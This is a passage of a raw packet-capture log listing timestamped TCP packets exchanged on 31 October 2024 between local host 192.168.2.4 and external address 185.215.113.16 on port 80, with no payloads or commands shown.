Oct 31, 2024 23:37:20.081497908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081507921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081515074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081516027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081525087 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081527948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081538916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081548929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081551075 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081558943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081562996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081576109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081585884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081593990 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081597090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081607103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081618071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081628084 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081629992 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081643105 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081664085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081665993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081675053 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081685066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081722021 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081912041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081923962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081933975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081943989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081955910 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.081959009 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081969976 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.081996918 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.082026958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082037926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082046986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082061052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.082068920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082079887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082092047 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082094908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.082103014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082113981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082129002 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.082145929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.082248926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082259893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082269907 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082282066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082283974 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.082293034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082304955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082315922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.082325935 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.082354069 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083002090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083013058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083023071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083040953 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083060026 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083065033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083074093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083085060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083091974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083113909 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083141088 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083173037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083184958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083195925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083206892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083213091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083218098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083229065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083240032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083242893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083256006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083259106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083271980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083281040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083292961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083297014 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083318949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083467007 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083477974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083487034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083498001 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083508015 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083513021 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083524942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083527088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083539009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083549023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083551884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083559990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083570004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083581924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083590984 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083591938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083601952 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083605051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083616972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083622932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083626986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083636999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083640099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083650112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083657026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083662987 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083681107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083692074 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083699942 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083712101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083717108 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083723068 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083735943 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083739996 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083767891 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083879948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083890915 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083900928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083911896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083923101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.083925962 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.083946943 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.124994040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125032902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125044107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125128031 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125134945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.125138044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125150919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125159979 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125174999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125181913 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125186920 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.125222921 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.125335932 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125346899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125358105 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125369072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125377893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.125380039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125391006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125402927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.125418901 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.125446081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.126005888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.126015902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.126041889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.165906906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.192765951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.192787886 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.192800999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.192826033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193069935 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193079948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193092108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193109035 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193109989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193124056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193133116 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193137884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193142891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193156004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193161011 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193181992 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193240881 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193252087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193260908 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193272114 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193283081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193291903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193294048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193294048 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193303108 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193336964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193384886 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193464994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193475962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193486929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193516970 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193522930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193533897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193545103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193557024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193567991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193567991 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193579912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193594933 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193603039 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193604946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193610907 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193629026 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193777084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193788052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193816900 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193898916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193909883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193943977 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.193947077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193958044 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193968058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.193975925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194010019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194335938 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194346905 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194356918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194366932 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194377899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194396973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194399118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194421053 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194431067 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194461107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194591999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194605112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194619894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194622993 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194638014 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194648981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194658995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194660902 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194669008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194684982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194699049 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194699049 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194710970 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194715977 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194722891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194734097 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194745064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194753885 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194762945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194771051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194773912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194786072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194796085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194808006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194817066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194818974 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194843054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194849968 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194854975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194859982 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194890976 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194915056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194926023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194936037 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194948912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194960117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.194966078 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.194999933 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195041895 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195055008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195065022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195081949 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195084095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195092916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195106983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195110083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195120096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195135117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195142031 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195147991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195168018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195183992 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195344925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195357084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195365906 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195375919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195384979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195388079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195400000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195411921 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195422888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195432901 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195436001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195445061 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195456982 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195461988 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195491076 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195533991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195548058 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195557117 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195565939 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195569038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195590019 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195591927 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195600986 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195611000 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195621967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195631981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195641994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195645094 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195655107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195667028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195668936 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195683956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195708990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195719004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195728064 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195739985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195746899 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195749998 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195761919 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195761919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195775032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195781946 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195784092 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195822954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195827007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195836067 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195847034 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195852041 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.195858955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.195878983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196027040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196038961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196048975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196055889 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196062088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196089983 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196269035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196285009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196295977 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196316957 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196326017 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196341991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196352005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196360111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196372032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196382046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196393013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196403980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196408033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196430922 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:20.196489096 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196501017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196510077 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:20.196520090 CET	80	49739	185.215.113.16	192.168.2.4
